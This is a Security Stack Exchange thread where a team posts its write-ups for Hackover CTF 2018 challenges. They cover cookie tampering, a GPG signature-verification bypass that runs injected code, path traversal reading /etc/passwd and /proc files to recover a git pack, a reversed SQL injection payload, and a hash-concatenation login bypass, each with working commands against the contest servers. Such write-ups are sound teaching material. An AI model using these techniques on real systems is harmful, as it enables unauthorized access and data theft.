Let's participate in the Hackover CTF 2018!

Hackover is a Jeopardy-style CTF and lasts 38 hours with ~100 participating teams announced. It's organized by the Hamburg CCC chapter in the context of the Hackover event. You can find additional details on the CTFtime event page and study the write-ups of the 2016 edition here (the 2017 edition had been cancelled).

General info:

  • We compete as team secse.
  • We communicate over Slack. To get an invitation to the group you can contact any active team member. (We will need to know an email address to send the invitation to and a reference to your Security.SE profile.)
  • For questions, join us in the public chat room.

Good luck everyone! 🎈

8 Answers 8


Holy cow! Team secse finished 13th place with 201 teams competing.

Great job everyone! 🎈🎈🎈


UnbreakMyStart (forensics, 337)

We get a .tar.xz file. Or so it seems...

$ tar -xvf unbreak_my_start.tar.xz
tar: This does not look like a tar archive
xz: (stdin): File format not recognized
tar: Child returned status 1
tar: Error is not recoverable: exiting now

Thanks, tar, so helpful. Let's look inside:

$ xxd unbreak_my_start.tar.xz
00000000: 504b 0304 1400 0800 0800 04e6 d6b4 4602  PK............F.
00000010: 0021 0116 0000 0074 2fe5 a3e0 07ff 007d  .!.....t/......}
00000020: 5d00 331b 0847 5472 2320 a8d7 45d4 9ae8  ].3..GTr# ..E...
00000030: 3a57 139f 493f c634 8905 8c4f 0bc6 3b67  :W..I?.4...O..;g
00000040: 7028 1a35 f195 abb0 2e26 666d 8c92 da43  p(.5.....&fm...C
00000050: 11e1 10ac 4496 e2ed 36cf 9c99 afe6 5a8e  ....D...6.....Z.
00000060: 311e cb99 f4be 6dca 943c 4410 8873 428a  1.....m..<D..sB.
00000070: 7c17 f47a d17d 7808 b7e4 22b8 ec19 9275  |..z.}x..."....u
00000080: 5073 0c34 5f9e 14ac 1986 d378 7b79 9f87  Ps.4_......x{y..
00000090: 0623 7369 4372 19da 6e33 0217 7f8d 0000  .#siCr..n3......
000000a0: 0000 001c 0f1d febd b436 8c00 0199 0180  .........6......
000000b0: 1000 00ad af23 35b1 c467 fb02 0000 0000  .....#5..g......
000000c0: 0459 5a                                  .YZ

Starting with PK\x03\x04 - that's a ZIP header!

Pro tip: Be smarter than me and don't try to brute-force the ZIP file entry offsets for ages. Cause, see that footer? 0x59 0x5A is actually the .xz format's stream footer magic bytes. So it appears to be a valid XZ file, just with a ZIP header.

Now since, we don't have the time and energy to read specs, let's just make our own dummy .xz, use its header to replace the ZIP header and hope for the best:

$ tar -cfJ foo.tar.xz -T /dev/null
$ head -c 6 foo.tar.xz > patched.tar.xz
$ tail -c +10 unbreak_my_start.tar.xz >> patched.tar.xz
$ tar -xvf patched.tar.xz

$ cat flag.txt

ez web (web, 100)

This is a web app showing only an under construction page. So let's start with the standard approach to path discovery - first up, /robots.txt.

$ curl http://ez-web.ctf.hackover.de:8080/robots.txt
User-agent: *
Disallow: /flag/

A few links later...

$ curl -v http://ez-web.ctf.hackover.de:8080/flag/flag.txt
< HTTP/1.1 200 
< Set-Cookie: isAllowed=false
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 219
< Date: Sun, 07 Oct 2018 18:24:32 GMT
<p>You do not have permission to enter this Area. A mail has been sent to our Admins.<br/>You shall be arrested shortly.</p>

Well, let's set the cookie to isAllowed=true then...

$ curl -s --cookie "isAllowed=true" http://ez-web.ctf.hackover.de:8080/flag/flag.txt | grep -o "hackover18{.*}"




military-crypto (pwn, 430)

This server app allows users to run, update and download a specific "firmware" which is a basically GPG-signed bash script. Whenever you want to upload a new firmware, you supply the firmware image (bash file firmware.bin) and detached signature file (firmware.bin.sig) which the server then verifies. So, our goal here is to modify the bash script to inject our own code while passing the signature verification.

Let's look at the verification part:

if ! gpg --verify update.bin.sig; then
    set +x
    echo '!!!!!!!!!!!!!!!!!!!!!!!'
    echo '!! INVALID SIGNATURE !!'
    echo '!!!!!!!!!!!!!!!!!!!!!!!'
    exit 1
    chmod +x update.bin
    echo 'Updating....'
    echo 'Rebooting....'
    exit 0

The condition if ! gpg --verify update.bin.sig means the script fails if gpp --verify update.bin.sig returns an exit code other than 0, that is, has a failure of any kind.

The problem with that command is that a lot of what GPG does here is implicit: GPG reads update.bin.sig, sees that it's a detached signature, looks at its filename and concludes that it's supposed to sign update.bin which it then verifies. Another observation is that update.bin has an included ASCII-armored signature in itself:

current_firmware() {
cat <<EOF
Hash: SHA256

Version: 1.0
Created: 2018-10-03



So what if we feed that whole firmware file as the .sig? Since it has an ASCII-armored signature included, GPG will detect the included signature and verify the file by itself without even looking at the original firmware!

Let's make an update.sh:

printf "1\n$(cat $FW|base64|tr -d '\n')\n\n$(cat $SIG|base64|tr -d '\n')\n\n" \
    | nc military-crypto.ctf.hackover.de 1337

Use the firmware file as the signature:

$ rm update.bin.sig && cp update.bin update.bin.sig

Now, put echo $(cat /home/ctf/flag.txt) somewhere into update.bin so that the patched firmware outputs the flag. And finally, run it:

$ ./update.sh
    == secure update service

    we didn't roll our own, powered by the
    best crypto known to humanity
1) Update firmware    3) Current firmware
2) Download firmware  4) Quit
> ====================================================
    1) send update binary as base64
    2) finish with an empty line
    3) send detached signature as base64
    4) finish with an empty line
Reading firmware...
Reading detatched signaure...
gpg: Signature made Fri Oct  5 00:17:50 2018 UTC
gpg:                using RSA key C12BAE3879CCF4A7CE3861B7428501D371D5ADDF
gpg: key 428501D371D5ADDF marked as ultimately trusted
gpg: checking the trustdb
gpg: marginals needed: 3  completes needed: 1  trust model: pgp
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
gpg: Good signature from "Military Update Authority (fo real)" [ultimate]
gpg: WARNING: not a detached signature; file 'update.bin' was NOT verified!

Yay, GPG has verified the .sig file although it's not actually a detached signature:

gpg: WARNING: not a detached signature; file 'update.bin' was NOT verified!

But since GPG exits with 0 nonetheless, the verification passes, the modified firmware gets executed, and the flag leaked:


i-love-heddha (web, 100)

A skiddo-friendly continuation of ez web that features some extra headers and base64.

$ curl -s --cookie "isAllowed=true" \
          --header "User-Agent: Builder browser 1.0.1" \
          --header "Referer: hackover.18" \
    | base64 -d


cyberware (web, 416)

We get a very basic web app that hosts some text files. Clicking on them in the browser doesn't get us anywhere (later, we'll find out that this is because the app detects and disallows referrers). So, let's use curl:

$ curl -v "http://cyberware.ctf.hackover.de:1337/cat.txt"
< HTTP/1.1 200 Yippie
< Server: Linux/cyber
< Date: Sun, 07 Oct 2018 21:04:46 GMT
< Content-type: text/cyber
< Content-length: 165
  (.   \
    \  |
     \ |___(\--/)
   __/    (  . . )
  "'._.    '-.O.'
       '-.  \ "|\

Awww! Now, one of the usual things to try with custom web apps is directory traversals. Note that we can't use curl here because it rewrites paths before sending them. So let's get raw:

$ echo "GET /../ HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1
HTTP/1.1 403 You shall not list!

Ha, it seems to be handling the parent directory but disallows listing. What about absolute paths?

$ echo "GET //etc/passwd HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin

Awesome, now how do we find interesting files from here? On Linux, the procfs can give us some information about the environment:

$ echo "GET //proc/self/cmdline HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7

$ echo "GET //proc/self/environ HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7

Seems like the server file is called cyberserver.py. Let's try to fetch it directly from home:

$ echo "GET //home/ctf/cyberserver.py HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7
from threading import Thread
from sys import argv
from sys import getsizeof
from time import sleep
from socketserver import ThreadingMixIn
from http.server import SimpleHTTPRequestHandler
from http.server import HTTPServer
from re import search
from os.path import exists
from os.path import isdir

class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):

class CyberServer(SimpleHTTPRequestHandler):
    def version_string(self):
        return f'Linux/cyber'

    def do_GET(self):
        self.protocol_version = 'HTTP/1.1'

        referer = self.headers.get('Referer')
        path = self.path[1:] or ''

        if referer:
            self.send_response(412, 'referer sucks')
            self.send_header('Content-type', 'text/cyber')
            self.wfile.write(b"Protected by Cyberware 10.1")

        if not path:
            self.send_response(200, 'cyber cat')
            self.send_header('Content-type', 'text/html')
            for animal in ['cat', 'fox', 'kangaroo', 'sheep']:
                self.wfile.write("<a href='{0}.txt'>{0}.txt</a></br>"

        if path.endswith('/'):
            self.send_response(403, 'You shall not list!')
            self.send_header('Content-type', 'text/cyber')
            self.wfile.write(b"Protected by Cyberware 10.1")

        if path.startswith('.'):
            self.send_response(403, 'Dots are evil')
            self.send_header('Content-type', 'text/cyber')
            self.wfile.write(b"Protected by Cyberware 10.1")

        if path.startswith('flag.git') or search('\\w+/flag.git', path):
            self.send_response(403, 'U NO POWER')
            self.send_header('Content-type', 'text/cyber')
            self.wfile.write(b"Protected by Cyberware 10.1")

        if not exists(path):
            self.send_response(404, 'Cyber not found')
            self.send_header('Content-type', 'cyber/error')
            self.wfile.write(b"Protected by Cyberware 10.1")

        if isdir(path):
            self.send_response(406, 'Cyberdir not accaptable')
            self.send_header('Content-type', 'cyber/error')
            self.wfile.write(b"Protected by Cyberware 10.1")

            with open(path, 'rb') as f:
                content = f.read()

            self.send_response(200, 'Yippie')
            self.send_header('Content-type', 'text/cyber')
            self.send_header('Content-length', getsizeof(content))
        except Exception:
            self.send_response(500, 'Cyber alert')
            self.send_header('Content-type', 'cyber/error')
            self.wfile.write("Cyber explosion: {}"

class CyberServerThread(Thread):
    server = None

    def __init__(self, host, port):
        self.server = ThreadingSimpleServer((host, port), CyberServer)

    def run(self):

def main(host, port):
    print(f"Starting cyberware at {host}:{port}")
    cyberProtector = CyberServerThread(host, port)
    cyberProtector.daemon = True
    while True:

if __name__ == "__main__":
    host = ""
    port = 1337
    if len(argv) >= 2:
        host = argv[1]
    if len(argv) >= 3:
        port = int(argv[3])
    main(host, port)

Important things we find in that web server implementation are:

  • Paths can't start with .
  • Paths can't end with /
  • There is a restriction for a path with path.startswith('flag.git') or search('\\w+/flag.git', path)

So it looks like we need to get into that flag.git/ dir!

$ echo "GET //home/ctf/flag.git HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1

Uh-oh, access denied! But we can simply bypass that \w+/flag.git regex. because putting a ./ inside the path doesn't change the location but a . doesn't match \w:

$ echo "GET //home/ctf/./flag.git HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1
HTTP/1.1 406 Cyberdir not accaptable

Well, no directory listing. But the .git ending seems to indicate it's a git meta directory. So, let's try to extract some common files you may find in a .git/ dir:

File /flag.git/HEAD:

ref: refs/heads/master

File /flag.git/refs/heads/master:


Now, we can't just extract all git objects without knowing their locations, but we just discovered an object hash, so we should be able to download it.

$ echo "GET //home/ctf/./flag.git/objects/b6/9c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1
HTTP/1.1 404 Cyber not found

Odd! Usually, objects are in .git/objects/, but we can't locate that one. Let's dig a little more...


 better delete everything ... so its safe
# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
# Explicit paths specified without -i or -o; assuming --only paths...
# On branch master
# Changes to be committed:
#   deleted:    ups
# ------------------------ >8 ------------------------
# Do not touch the line above.
# Everything below will be removed.
diff --git a/ups b/ups
deleted file mode 100644
index 8c2f73b..0000000
--- a/ups
+++ /dev/null
@@ -1 +0,0 @@
-make cyber tool to call cyberwehr for cygeremergency

Okay, so they deleted a file called ups, so we can't locate that either. But there's another mechanism for git to store objects -- packfiles! Packfiles are a great feature because compressing (and storing only diffs instead of all file versions) helps git to keep the footprint small. Let's see if there are any packs:

File /flag.git/objects/info/packs:

P pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack

Nice, there's a packfile and we can conclude where it's located, so we can download the .pack and the corresponding index file:


But since they aren't plaintext we can't just read them. So let's make a dummy repo for them:

$ mkdir /tmp/foo
$ cd /tmp/foo
/tmp/foo $ git init

Copy the downloaded packfiles into it:

/tmp/foo $ cp ~/downloads/pack.pack ~/downloads/pack.idx .git/objects/pack

Now, of course, the indexing etc. in our dummy repo is all messed up, so let's just use the tool git-repair to fix all those references.

/tmp/foo $ git-repair
Running git fsck ...
Unpacking all pack files.
Unpacking objects: 100% (15/15), done.

Successfully recovered repository!
You should run "git fsck" to make sure, but it looks like everything was recovered ok.

Let's verify:

/tmp/foo $ git fsck

notice: HEAD points to an unborn branch (master)
Checking object directories: 100% (256/256), done.
notice: No default references
dangling commit dd9ebcb882411a06c33ea9d8e4246acf70e7372e
dangling commit b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a

Uh, we have dangling commits? Let's have a look...

/tmp/foo $ git branch dangling dd9ebcb882411a06c33ea9d8e4246acf70e7372e
/tmp/foo $ git checkout dangling
/tmp/foo $ git log -p -2

commit dd9ebcb882411a06c33ea9d8e4246acf70e7372e (HEAD -> dangling)
Author: CyberControlCenter <[email protected]>
Date:   Sat Oct 8 23:05:18 2016 +0200

     better delete everything ... so its safe

diff --git a/ups b/ups
deleted file mode 100644
index 8c2f73b..0000000
--- a/ups
+++ /dev/null
@@ -1 +0,0 @@
-make cyber tool to call cyberwehr for cygeremergency

commit c0e01b58327e785a581c32b97e639014aef0f31e
Author: CyberControlCenter <[email protected]>
Date:   Sat Oct 8 23:05:02 2016 +0200

    ups did not happen. hide secret again

diff --git a/hackover16{Cyb3rw4hr_pl5_n0_taR} b/ups
similarity index 100%
rename from hackover16{Cyb3rw4hr_pl5_n0_taR}
rename to ups

A hackover16 fake flag? What's wrong with these guys... Let's check the other one then:

/tmp/foo $ git branch dangling2 b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a
/tmp/foo $ git checkout dangling
/tmp/foo $ git log -p -2

commit b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a (HEAD -> dangling2)
Author: CyberControlCenter <[email protected]>
Date:   Sat Oct 8 23:05:18 2016 +0200

     better delete everything ... so its safe

diff --git a/ups b/ups
deleted file mode 100644
index 8c2f73b..0000000
--- a/ups
+++ /dev/null
@@ -1 +0,0 @@
-make cyber tool to call cyberwehr for cygeremergency

commit 19f882c9ad7aec1e682511525cc43e271896ae9e
Author: CyberControlCenter <[email protected]>
Date:   Thu Sep 27 22:11:38 2018 +0200

    ups did not happen. hide secret again

diff --git a/hackover18{Cyb3rw4r3_f0r_Th3_w1N} b/ups
similarity index 100%
rename from hackover18{Cyb3rw4r3_f0r_Th3_w1N}
rename to ups

There we go, in the verbose logs we can find that the file ups had once been renamed from:


who knows john dows? (web, 416)

As of writing, the challenge is still available. Give it a try before reading this write-up!

Howdy mate! Just login and hand out the flag, aye! You can find on h18johndoe has all you need!



Step 1: Username / email address

The login form has two steps. First, we need to find an username or an email address. "admin", "John Doe" and other variations don't work, so let's have a look to the GitHub repository linked in the challenge description.

Each git commit is associated with an username and an email address, and the latter isn't shown in GitHub's interface.

So let's clone the repository!

git clone https://github.com/h18johndoe/user_repository.git

Then let's check whose emails addresses have contributed:

git log

This is the result:

commit b26aed283d56c65845b02957a11d90bc091ac35a
Author: John Doe <[email protected]>
Date:   Tue Oct 2 23:55:57 2018 +0200

    Add login method

commit 5383fb4179f1aec972c5f2cc956a0fee07af353a
Author: John Doe <[email protected]>
Date:   Tue Oct 2 23:04:13 2018 +0200

    Add methods

commit 2d3e1dc0c5712efd9a0c7a13d2f0a8faaf51153c
Author: John Doe <[email protected]>
Date:   Tue Oct 2 23:02:26 2018 +0200

    Add dependency injection for database

commit 3ec70acbf846037458c93e8d0cb79a6daac98515
Author: John Doe <[email protected]>
Date:   Tue Oct 2 23:01:30 2018 +0200

    Add user repo class and file

The first email, [email protected], is working. We will use it from now.

Step 2: Password

Here is the only file hosted on GitHub:

class UserRepo

  def initialize(database)
    @database = database
    @users = database[:users]

  def login(identification, password)
    hashed_input_password = hash(password)
    query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1"
    puts "SQL executing: '#{query}'"
    @database[query].first if user_exists?(identification)

  def user_exists?(identification)


  def get_user_by_identification(identification)
    @users.where(phone: identification).or(email: identification).first

  def hash(password)


The login method is vulnerable to SQL injection, since parameters aren't sanitized correctly.

Since the email address is already validated, we will be need to put our payload in the hash of the password... Well, the algorithm used to hash the password is a basic string reverse, so it's very easy to build a payload.

Let's reverse a classic payload, ' OR 1=1 --:

-- 1=1 RO '

Step 3: Flag

That's it! The page displays the following message:

HERE IS YO FLAG: hackover18{I_KN0W_H4W_70_STALK_2018}



secure-hash (269, crypto)

We get a C++ implementation of a register/login system. The auth works as follows:

You can register with a username and password. The app then stores a sha512 hash based on the credential pair in a hash table. When logging in, the app calculates a hash of the supplied credentials and looks it up in the table. If found, you're in. The task is to log in with user root, however the app disallows registering with the username root.

Let's see how the hash is calculated:

std::string sha512sum(const std::string& name, const std::string& password) {
        EVP_MD_CTX *mdctx;
        const EVP_MD *md;
        unsigned char md_value[EVP_MAX_MD_SIZE];
        unsigned int md_len;

        mdctx = EVP_CREATE_FN();
        md = EVP_get_digestbyname("sha512");
        EVP_DigestInit_ex(mdctx, md, NULL);
        EVP_DigestUpdate(mdctx, name.c_str(), name.size());
        EVP_DigestUpdate(mdctx, password.c_str(), password.size());
        EVP_DigestFinal_ex(mdctx, md_value, &md_len);

        return std::string(reinterpret_cast<char*>(md_value), md_len);

So, username and password are supplied via EVP_DigestUpdate(). Under the hood, that's simply a concatenation of the given values until the hash is produced with EVP_DigestFinal_ex(). So we simply need to find a, b, c with a != "root" so that sha512(a || b) == sha512("root" || c).

That would be satisfied by a="roo", b="tX", c="X". Let's do it:

$ nc secure-hash.ctf.hackover.de 1337
Main menu:
1 - Register new user
2 - Login
Name: roo
Password: tX
Main menu:
1 - Register new user
2 - Login
Name: root
Password: X
Success! Logged in as root
You win, the flag is hackover18{00ps_y0u_mu5t_h4ve_h1t_a_v3ry_unlikely_5peci4l_c4s3}

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .